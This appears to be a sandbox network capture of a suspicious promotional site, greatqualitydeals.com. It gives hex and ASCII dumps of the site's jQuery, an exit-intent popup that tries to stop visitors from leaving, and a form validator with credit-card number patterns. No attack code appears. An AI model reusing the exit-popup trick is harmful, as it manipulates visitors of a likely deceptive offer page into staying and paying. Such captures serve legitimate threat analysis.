74 3a 5b 5d 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 5b 5d 2e Data Ascii: this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject\|\|this.constructor(null)},push:h,sort:[].sort,splice:[].
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6c 5b 6d 2e 63 61 6c 6c 28 65 29 5d 7c 7c 22 6f 62 6a 65 63 74 22 3a 74 79 70 65 6f 66 20 65 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 78 2e 74 79 70 65 28 65 29 7c 7c 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 78 2e 69 73 57 69 6e 64 6f 77 28 65 29 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 69 66 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 79 2e 63 61 6c 6c 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 29 72 65 74 75 72 6e 21 31 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 Data Ascii: n"==typeof e?l[m.call(e)]\|\|"object":typeof e},isPlainObject:function(e){if("object"!==x.type(e)\|\|e.nodeType\|\|x.isWindow(e))return!1;try{if(e.constructor&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(t){return!1}return!0},isEmptyObject:f
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 69 20 69 6e 20 65 29 69 66 28 72 3d 74 2e 63 61 6c 6c 28 65 5b 69 5d 2c 69 2c 65 5b 69 5d 29 2c 72 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 76 2e 63 61 6c 6c 28 65 29 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 6a 28 4f 62 6a 65 63 74 28 65 29 29 3f 78 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 68 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e Data Ascii: ==!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?"":v.call(e)},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(j(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 61 72 20 69 2c 6f 2c 73 3d 7b 7d 3b 66 6f 72 28 6f 20 69 6e 20 74 29 73 5b 6f 5d 3d 65 2e 73 74 79 6c 65 5b 6f 5d 2c 65 2e 73 74 79 6c 65 5b 6f 5d 3d 74 5b 6f 5d 3b 69 3d 6e 2e 61 70 70 6c 79 28 65 2c 72 7c 7c 5b 5d 29 3b 66 6f 72 28 6f 20 69 6e 20 74 29 65 2e 73 74 79 6c 65 5b 6f 5d 3d 73 5b 6f 5d 3b 72 65 74 75 72 6e 20 69 7d 7d 29 2c 78 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 7c 7c 28 6e 3d 78 2e 44 65 66 65 72 72 65 64 28 29 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 6f 2e 72 65 61 64 79 53 74 61 74 65 3f 73 65 74 54 69 6d 65 6f 75 74 28 78 2e 72 65 61 64 79 29 3a 28 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 53 2c 21 Data Ascii: ar i,o,s={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r\|\|[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n\|\|(n=x.Deferred(),"complete"===o.readyState?setTimeout(x.ready):(o.addEventListener("DOMContentLoaded",S,!
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 52 2b 22 2b 24 22 2c 22 67 22 29 2c 7a 3d 52 65 67 45 78 70 28 22 5e 22 2b 52 2b 22 2a 2c 22 2b 52 2b 22 2a 22 29 2c 5f 3d 52 65 67 45 78 70 28 22 5e 22 2b 52 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 52 2b 22 29 22 2b 52 2b 22 2a 22 29 2c 58 3d 52 65 67 45 78 70 28 52 2b 22 2a 5b 2b 7e 5d 22 29 2c 55 3d 52 65 67 45 78 70 28 22 3d 22 2b 52 2b 22 2a 28 5b 5e 5c 5c 5d 27 5c 22 5d 2a 29 22 2b 52 2b 22 2a 5c 5c 5d 22 2c 22 67 22 29 2c 59 3d 52 65 67 45 78 70 28 42 29 2c 56 3d 52 65 67 45 78 70 28 22 5e 22 2b 57 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 52 65 67 45 78 70 28 22 5e 23 28 22 2b 4d 2b 22 29 22 29 2c 43 4c 41 53 53 3a 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4d 2b 22 29 22 29 2c 54 41 47 3a 52 65 67 45 78 70 Data Ascii: \])(?:\\\\.))"+R+"+$","g"),z=RegExp("^"+R+","+R+""),_=RegExp("^"+R+"([>+~]\|"+R+")"+R+""),X=RegExp(R+"[+~]"),U=RegExp("="+R+"([^\\]'\"])"+R+"*\\]","g"),Y=RegExp(B),V=RegExp("^"+W+"$"),G={ID:RegExp("^#("+M+")"),CLASS:RegExp("^\\.("+M+")"),TAG:RegExp
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 73 2c 61 2c 75 2c 66 2c 64 2c 67 2c 78 2c 77 3b 69 66 28 28 74 3f 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 3a 76 29 21 3d 3d 63 26 26 6c 28 74 29 2c 74 3d 74 7c 7c 63 2c 6e 3d 6e 7c 7c 5b 5d 2c 21 65 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 31 21 3d 3d 28 61 3d 74 2e 6e 6f 64 65 54 79 70 65 29 26 26 39 21 3d Data Ascii: div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ut(e,t,n,r){var i,o,s,a,u,f,d,g,x,w;if((t?t.ownerDocument\|\|t:v)!==c&&l(t),t=t\|\|c,n=n\|\|[],!e\|\|"string"!=typeof e)return n;if(1!==(a=t.nodeType)&&9!=
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 69 6c 64 28 74 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 62 2e 61 74 74 72 69 62 75 74 65 73 3d 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 64 69 76 20 63 6c 61 73 73 3d 27 61 27 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 61 20 69 27 3e 3c 2f 64 69 76 3e 22 2c 65 2e 66 69 Data Ascii: ild(t.createComment("")),!e.getElementsByTagName("*").length}),b.attributes=at(function(e){return e.className="i",!e.getAttribute("className")}),b.getElementsByClassName=at(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.fi
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 21 3d 3d 6a 26 26 70 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 3a 75 6e 64 65 66 69 6e 65 64 7d 2c 64 3d 5b 5d 2c 68 3d 5b 5d 2c 28 62 2e 71 73 61 3d 69 74 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 73 65 6c 65 63 74 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e 22 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 Data Ascii: mentsByClassName&&function(e,t){return typeof t.getElementsByClassName!==j&&p?t.getElementsByClassName(e):undefined},d=[],h=[],(b.qsa=it(t.querySelectorAll))&&(at(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	49841	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	761	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	755	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w5xpdLrfO6Jp6tRtUQtMlir4pnIP0xIeRKRj89obesl0OVMLpmf9oBtU0FQeabnrLSnP%2B%2BYZ7GRaHWwKsthgRHdIyLanMeli0jwT4quKHPPoMk9XeUzeH4r%2BAFTPZusckkVw8sVBLCHw50iA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419619cf3354-EWR
2024-10-03 16:19:51 UTC	614	IN	Data Raw: 31 31 35 61 0d 0a 2f 2f 20 76 61 72 20 6f 66 66 65 72 44 65 74 61 69 6c 53 74 65 70 20 3d 20 27 6f 66 66 65 72 5f 64 65 74 61 69 6c 73 5f 73 74 65 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 6f 66 66 65 72 5f 63 75 72 72 65 6e 74 5f 73 74 65 70 2e 74 6f 53 74 72 69 6e 67 28 29 3b 0d 0a 2f 2f 20 76 61 72 20 65 78 69 74 50 6f 70 75 70 20 3d 20 27 65 78 69 74 5f 70 6f 70 75 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 64 6f 77 6e 73 65 6c 6c 5f 63 75 72 72 65 6e 74 5f 73 74 65 70 2e 74 6f 53 74 72 69 6e 67 28 29 20 2b 20 27 5f 65 6e 61 62 6c 65 64 27 3b 0d 0a 2f 2f 20 76 61 72 20 65 78 69 74 50 6f 70 75 70 45 6c 65 6d 20 3d 20 27 65 78 69 74 5f 70 6f 70 75 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 64 6f 77 6e 73 65 6c 6c 5f 63 75 72 72 65 6e 74 Data Ascii: 115a// var offerDetailStep = 'offer_details_step' + app_config.offer_current_step.toString();// var exitPopup = 'exit_popup' + app_config.downsell_current_step.toString() + '_enabled';// var exitPopupElem = 'exit_popup' + app_config.downsell_current
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 75 70 5f 65 6c 65 6d 65 6e 74 5f 69 64 29 2e 6c 65 6e 67 74 68 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 62 2e 69 67 6e 6f 72 65 45 78 69 74 50 6f 70 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 65 78 69 74 5f 70 6f 70 75 70 5f 65 6c 65 6d 65 6e 74 5f 69 64 29 2e 73 68 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 22 57 61 6e 74 20 74 6f 20 65 78 69 74 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 3b 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 28 6a 51 75 65 72 79 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 6f 75 69 62 6f 75 6e 63 65 28 65 6c 2c 20 63 6f 6e 66 69 67 Data Ascii: up_element_id).length) { cb.ignoreExitPop = true; $('#' + app_config.exit_popup_element_id).show(); return "Want to exit"; } }; });})(jQuery);function ouibounce(el, config
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 6f 75 73 65 6c 65 61 76 65 27 2c 20 68 61 6e 64 6c 65 4d 6f 75 73 65 6c 65 61 76 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 6f 75 73 65 65 6e 74 65 72 27 2c 20 68 61 6e 64 6c 65 4d 6f 75 73 65 65 6e 74 65 72 29 3b 0d 0a 20 20 20 20 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 68 61 6e 64 6c 65 4b 65 79 64 6f 77 6e 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 4d 6f 75 73 65 6c 65 61 76 65 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 65 2e 63 6c 69 65 6e 74 59 20 3e 20 73 Data Ascii: _html.addEventListener('mouseleave', handleMouseleave); _html.addEventListener('mouseenter', handleMouseenter); _html.addEventListener('keydown', handleKeydown); } function handleMouseleave(e) { if (e.clientY > s
2024-10-03 16:19:51 UTC	1098	IN	Data Raw: 63 6b 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 69 72 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 28 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 66 69 72 65 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 65 6c 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 64 69 73 61 62 6c 65 28 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 69 73 61 62 6c 65 28 6f 70 74 69 6f 6e 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 6f 70 74 69 6f 6e 73 20 7c 7c 20 7b 7d 3b 0d 0a 20 20 20 20 20 20 Data Ascii: ck() { fire(); callback(); } function fire() { if (el) { el.style.display = 'block'; } disable(); } function disable(options) { var options = options \|\| {};
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	49844	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	464	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	753	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tca6BYC0iSvHHQUcuDlyFC9uUGjm9ICOGwjeyhgla7HCuCzvqY00yxpEcfKLnculR8ozZI2BzsPEUKheK1bbPT12gr0oC%2B2Flbo60mgbdqgQlGDnNAtOznqbswBh1al22QzCWvgjRVwNJVr%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419658441a48-EWR
2024-10-03 16:19:51 UTC	616	IN	Data Raw: 31 31 62 39 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 0a 76 61 72 20 76 61 6c 69 64 61 74 6f 72 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 2f 2a 2a 0a 20 20 20 20 52 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 73 20 66 6f 72 20 76 6c 69 64 61 74 69 6f 6e 73 0a 20 20 20 20 2a 2a 2f 0a 20 20 20 20 76 61 72 20 70 61 74 74 65 72 6e 73 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 7a 69 70 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 55 53 3a 20 2f 28 5e 5c 64 7b 35 7d 24 29 7c 28 5e 5c 64 7b 35 7d 2d 5c 64 7b 34 7d 24 29 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 65 66 61 75 6c 74 3a 20 2f 5e 5b 61 2d 7a 41 2d 5a 30 2d 39 2d 5c 73 5d 2b 24 2f 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6d 61 69 6c 3a 20 7b 0a 20 Data Ascii: 11b9'use strict'var validator = (function() { / Regular expressions for vlidations / var patterns = { zip: { US: /(^\d{5}$)\|(^\d{5}-\d{4}$)/, default: /^[a-zA-Z0-9-\s]+$/ }, email: {
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 63 61 72 64 4e 75 6d 62 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 61 3a 20 2f 5e 34 5b 30 2d 39 5d 7b 31 32 7d 28 3f 3a 5b 30 2d 39 5d 7b 33 7d 29 3f 24 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 73 74 65 72 3a 20 2f 5e 28 3f 3a 35 5b 31 2d 35 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 32 32 5b 31 2d 39 5d 7c 32 32 5b 33 2d 39 5d 5b 30 2d 39 5d 7c 32 5b 33 2d 36 5d 5b 30 2d 39 5d 7b 32 7d 7c 32 37 5b 30 31 5d 5b 30 2d 39 5d 7c 32 37 32 30 29 5b 30 2d 39 5d 7b 31 32 7d 24 2f 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 65 73 74 72 6f 3a 20 2f 5e 28 35 30 31 38 7c 35 30 32 30 7c 35 30 33 38 7c 35 36 31 32 7c 35 38 39 33 7c 36 33 30 34 7c 36 33 39 30 7c 36 37 35 39 7c 36 37 36 5b 31 2d 33 5d 7c 30 36 30 34 29 2f 2c 0a 20 20 20 20 Data Ascii: cardNumber: { visa: /^4[0-9]{12}(?:[0-9]{3})?$/, master: /^(?:5[1-5][0-9]{2}\|222[1-9]\|22[3-9][0-9]\|2[3-6][0-9]{2}\|27[01][0-9]\|2720)[0-9]{12}$/, maestro: /^(5018\|5020\|5038\|5612\|5893\|6304\|6390\|6759\|676[1-3]\|0604)/,
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 73 73 20 76 61 6c 69 64 61 74 6f 72 0a 20 20 20 20 20 20 20 20 20 2a 2a 2f 0a 20 20 20 20 20 20 20 20 69 73 56 61 6c 69 64 45 6d 61 69 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6d 61 69 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 70 61 74 74 65 72 6e 73 2e 65 6d 61 69 6c 2e 66 69 72 73 74 2e 74 65 73 74 28 65 6d 61 69 6c 29 20 26 26 20 70 61 74 74 65 72 6e 73 2e 65 6d 61 69 6c 2e 6c 61 73 74 2e 74 65 73 74 28 65 6d 61 69 6c 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 69 73 56 61 6c 69 64 50 68 6f 6e 65 3a 20 66 75 6e 63 74 69 6f 6e 28 70 68 6f 6e 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 70 61 74 74 65 72 6e 73 2e 70 68 6f 6e 65 2e 74 65 73 74 28 70 68 6f 6e 65 29 3b 0a 20 20 20 Data Ascii: ss validator **/ isValidEmail: function(email) { return patterns.email.first.test(email) && patterns.email.last.test(email); }, isValidPhone: function(phone) { return patterns.phone.test(phone);
2024-10-03 16:19:51 UTC	1191	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 70 68 6f 6e 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 2f 5e 5c 64 7b 33 2c 34 7d 24 2f 2e 74 65 73 74 28 70 68 6f 6e 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 43 61 72 64 20 4c 65 6e 67 74 68 20 50 72 6f 76 69 64 65 72 0a 20 20 20 20 20 20 20 20 20 2a 20 53 75 70 70 6f 72 74 20 56 69 73 61 2c 20 4d 61 73 74 65 72 2c 20 41 6d 65 78 2c 20 44 69 6e 65 72 2c 20 44 69 73 63 6f 76 65 72 2c 20 4a 63 62 0a 20 20 20 20 20 20 20 20 20 2a 20 40 70 61 72 61 6d 20 63 61 72 64 54 79 70 65 3a 20 41 20 73 74 72 69 6e 67 20 6f 66 20 43 61 72 64 20 54 79 70 65 0a 20 20 20 20 20 20 20 20 20 2a 2a 2f 0a 20 20 20 20 20 20 20 20 67 65 74 43 61 72 64 4e Data Ascii: unction(phone) { return /^\d{3,4}$/.test(phone); }, /** * Card Length Provider * Support Visa, Master, Amex, Diner, Discover, Jcb * @param cardType: A string of Card Type **/ getCardN
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	49843	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	788	OUT	GET /outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	755	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:41:04 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BVkX1PzjXHSC%2FxM58iTQvJ9nD8%2Fd0DvBFGTChjlhwpiJVdMuhQqNlaCSve1Cte%2B826YNWAPlumwM5G9Nj7SGqEb4bmzNnKJnsS0bkAapcJHWxZmZinvLyaE0FqFzZrXYVr6HDpOgrmfy7jTQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41969a5a42c7-EWR
